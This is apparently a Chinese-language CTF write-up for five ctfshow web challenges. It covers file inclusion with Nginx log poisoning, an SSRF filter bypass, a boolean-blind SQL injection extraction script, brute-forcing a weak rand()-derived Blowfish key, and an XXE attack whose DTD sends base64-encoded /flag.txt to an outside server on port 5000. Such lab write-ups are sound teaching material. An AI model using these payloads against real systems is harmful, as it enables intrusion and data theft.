在菜鸡的道路上越走越远。。。淦!
签到_观己
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
if(preg_match('/php/i', $file)){
die('error');
}else{
include($file);
}
}else{
highlight_file(__FILE__);
}
?>
?file=/flag.txt
直接出答案。。这算个非预期解吧
另外的解法:文件包含Nginx日志文件、
?file=/var/log/nginx/access.log
可读日志文件内容,里面包含用户访问的UA信息
于是
尝试命令执行
随后cat /flag.txt
即可
Web1_观字
题目给出源码
<?php
#flag in http://192.168.7.68/flag
if(isset($_GET['url'])){
$url = $_GET['url'];
$protocol = substr($url, 0,7);
if($protocol!='http://'){
die('仅限http协议访问');
}
if(preg_match('/\.|\;|\||\<|\>|\*|\%|\^|\(|\)|\#|\@|\!|\`|\~|\+|\'|\"|\.|\,|\?|\[|\]|\{|\}|\!|\&|\$|0/', $url)){
die('仅限域名地址访问');
}
system('curl '.$url);
}
payload
:/?url=http://192。168。7。68/flag
原因是curl中可以用。
替换.
另外,ip可以使用十进制进行访问,即http://3232237380/flag
,但题目过滤了0
Web2_观星
url可以给id传值,当传入一个引号的时候回显enheng?
,推测sql注入
FUZZ测试发现过滤了以下的内容(长度为533的)
未过滤^
,考虑布尔盲注
payload:
id=1^case(ord(substr((database())from({0})for(1))))when({1})then(2)else(3)end.format(i,j)
过滤了逗号,if
无法使用则用case...when...then...else...end
代替绕过,substr
中的逗号用substr(...from...for...)
代替绕过
接下来就可以写脚本了
import requests
url = 'http://dc894a39-ba77-4e9f-9201-e52d7a19ba5c.chall.ctf.show/index.php?id=1^'
# payload = 'case(ord(substr((database())from({0})for(1))))when({1})then(2)else(3)end' web1
# payload = 'case(ord(substr((select(group_concat(table_name))from(information_schema.tables)where((table_schema)regexp(database())))from({0})for(1))))when({1})then(2)else(3)end' flag,page,user
# payload = 'case(ord(substr((select(group_concat(column_name))from(information_schema.columns)where((table_name)regexp(0x666C6167)))from({0})for(1))))when({1})then(2)else(3)end' FLAG_COLUMN,flag
payload = 'case(ord(substr((select(flag)from(flag))from({0})for(1))))when({1})then(2)else(3)end'
flag = ''
for i in range(1, 128):
for j in range(38, 126):
urls = url+payload.format(i, j)
request = requests.get(urls)
if 'I asked nothing' in request.text:
flag += chr(j)
print(flag)
break
Web3_观图
showImage.php可看到源码
<?php
//$key = substr(md5('ctfshow'.rand()),3,8);
//flag in config.php
include('config.php');
if(isset($_GET['image'])){
$image=$_GET['image'];
$str = openssl_decrypt($image, 'bf-ecb', $key);
if(file_exists($str)){
header('content-type:image/gif');
echo file_get_contents($str);
}
}else{
highlight_file(__FILE__);
}
?>
图片链接为/showImage.php?image=Z6Ilu83MIDw=
可以看到图片文件名是Z6Ilu83MIDw=
经过bf-ecb
算法用$key
得到的,再看$key
的生成方式
substr(md5('ctfshow'.rand()),3,8);
查询rand()
函数,若里面的参数为空,则返回0
到getrandmax()
之间的伪随机整数
getrandmax()
函数返回随机数可能返回的最大值,既然有上限即可进行爆破来得出key
值
脚本如下:
<?php
for($i=0;$i<getrandmax();$i++){
$key = substr(md5('ctfshow'.$i),3,8); //5a78dbb4
$image="Z6Ilu83MIDw=";
$str = openssl_decrypt($image, 'bf-ecb', $key);
if(strpos($str,"gif") or strpos($str,"jpg") or strpos($str,"png")){
print($str."\n");
print($i."\n");
print($key."\n");
break;
}
}
$flag = openssl_encrypt('config.php', 'bf-ecb', '5a78dbb4');
print($flag);
得到N6bf8Bd8jm0SpmTZGl0isw==
,为config.php
加密后的base64
码,访问/showImage.php?image=N6bf8Bd8jm0SpmTZGl0isw==
,F12打开复制代码base64解密得到config.php
的内容,flag
即在其中。
Web4_观心
抓包发现有api.php
文件,并且带有请求api
和city
两个数据
api
携带的是一个网址,是一个xml文件,由此判断考的应该是XXE外部实体注入
于是构建攻击环境
在公网服务器上编写两个文件
xxe.xml
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE root[
<!ENTITY % dtd SYSTEM "http://ip/xxe.dtd">
%dtd;
]>
<root>
<user>woojay</user>
<pass>password</pass>
</root>
xxe.dtd
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag.txt">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://xxx.xx:5000/%file;'>">
%int;
%send;
随后在服务器上监听5000端口,即可得到flag.txt
的 base64
编码后的结果,解码既是flag
不监听端口也可以,直接发包请求,会把报错的结果返回,如下:
XXE这块不是很了解,原理后面再仔细研究一下
若没有本文 Issue,您可以使用 Comment 模版新建。
GitHub Issues